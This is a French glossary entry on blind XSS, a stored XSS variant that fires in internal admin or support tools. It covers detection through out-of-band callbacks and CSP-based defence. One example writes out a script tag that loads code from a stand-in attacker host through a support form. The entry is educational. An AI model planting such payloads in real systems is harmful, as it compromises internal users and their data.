XSS Aveugle
Qu'est-ce que XSS Aveugle ?
XSS AveugleVariante de XSS stocké où la charge utile s'exécute dans un contexte que l'attaquant ne voit pas, généralement un back-office ou un panneau interne.
Le XSS aveugle est une sous-catégorie du XSS stocké : le script malveillant ne s'exécute pas dans le navigateur de l'attaquant mais dans un contexte différent, souvent privilégié — vue d'un ticket de support, console anti-fraude, tableau de bord interne ou rapport de sauvegarde. L'attaquant soumet la charge via un formulaire public (contact, inscription, support) et attend qu'un utilisateur interne affiche les données. La détection repose sur des rappels hors bande : la charge exfiltre des informations vers XSS Hunter, Burp Collaborator ou un serveur DNS/HTTP custom, révélant où le script a tourné. Les défenses sont celles du XSS stocké plus une CSP forte sur les outils internes.
● Exemples
- 01
Un champ de support contenant <script src=https://x.attaquant/x.js></script> qui s'exécute dans le CRM de l'agent.
- 02
Un en-tête User-Agent journalisé dans un visualiseur d'admin n'encodant pas le HTML.
● Questions fréquentes
Qu'est-ce que XSS Aveugle ?
Variante de XSS stocké où la charge utile s'exécute dans un contexte que l'attaquant ne voit pas, généralement un back-office ou un panneau interne. Cette notion relève de la catégorie Attaques et menaces en cybersécurité.
Que signifie XSS Aveugle ?
Variante de XSS stocké où la charge utile s'exécute dans un contexte que l'attaquant ne voit pas, généralement un back-office ou un panneau interne.
Comment fonctionne XSS Aveugle ?
Le XSS aveugle est une sous-catégorie du XSS stocké : le script malveillant ne s'exécute pas dans le navigateur de l'attaquant mais dans un contexte différent, souvent privilégié — vue d'un ticket de support, console anti-fraude, tableau de bord interne ou rapport de sauvegarde. L'attaquant soumet la charge via un formulaire public (contact, inscription, support) et attend qu'un utilisateur interne affiche les données. La détection repose sur des rappels hors bande : la charge exfiltre des informations vers XSS Hunter, Burp Collaborator ou un serveur DNS/HTTP custom, révélant où le script a tourné. Les défenses sont celles du XSS stocké plus une CSP forte sur les outils internes.
Comment se défendre contre XSS Aveugle ?
Les défenses contre XSS Aveugle combinent habituellement des contrôles techniques et des pratiques opérationnelles, comme détaillé dans la définition ci-dessus.
Quels sont les autres noms de XSS Aveugle ?
Noms alternatifs courants : XSS hors-bande.
● Termes liés
- attacks№ 240
Cross-Site Scripting (XSS)
Vulnérabilité web permettant à un attaquant d'injecter des scripts malveillants dans des pages consultées par d'autres utilisateurs, exécutés dans leur navigateur sous l'origine du site.
- attacks№ 1107
XSS Stocké
Faille XSS persistante : le script de l'attaquant est enregistré sur le serveur puis exécuté dans le navigateur de chaque visiteur.
- attacks№ 912
XSS Réfléchi
XSS non persistant où l'entrée contrôlée par l'attaquant est immédiatement reflétée dans la réponse et exécutée dans le navigateur de la victime.
- attacks№ 347
XSS Basé sur le DOM
Variante de XSS où l'injection et l'exécution se produisent entièrement dans le navigateur, du JavaScript client écrivant des données non assainies dans un sink dangereux.
- appsec№ 214
Politique de sécurité du contenu (CSP)
En-tête HTTP indiquant au navigateur quelles sources de scripts, styles, cadres et autres contenus sont autorisées, limitant l'impact des XSS et des injections de données.
- appsec№ 773
Encodage de sortie
Transformation des données non fiables dans une forme sûre pour un contexte précis (HTML, JavaScript, URL, SQL, shell) afin qu'elles ne s'évadent pas pour être exécutées comme du code.